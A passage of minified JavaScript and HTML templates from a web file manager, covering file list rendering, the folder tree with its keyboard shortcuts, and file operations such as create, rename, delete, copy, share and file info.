{{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1; -ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&a.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],a=[],n=0;e.length>n;n++)e[n].drop=!1,e[n].drag=!1,e[n].name=e[n].name,e[n].isParent&&e[n].children&&(e[n].children=r(e[n].children)),e[n].is_writeable,"folder"==e[n].type?a.push(e[n]):i.push(e[n]);return t?e:(a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(f().path)},openWindow:function(){a.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):a.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=f(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var 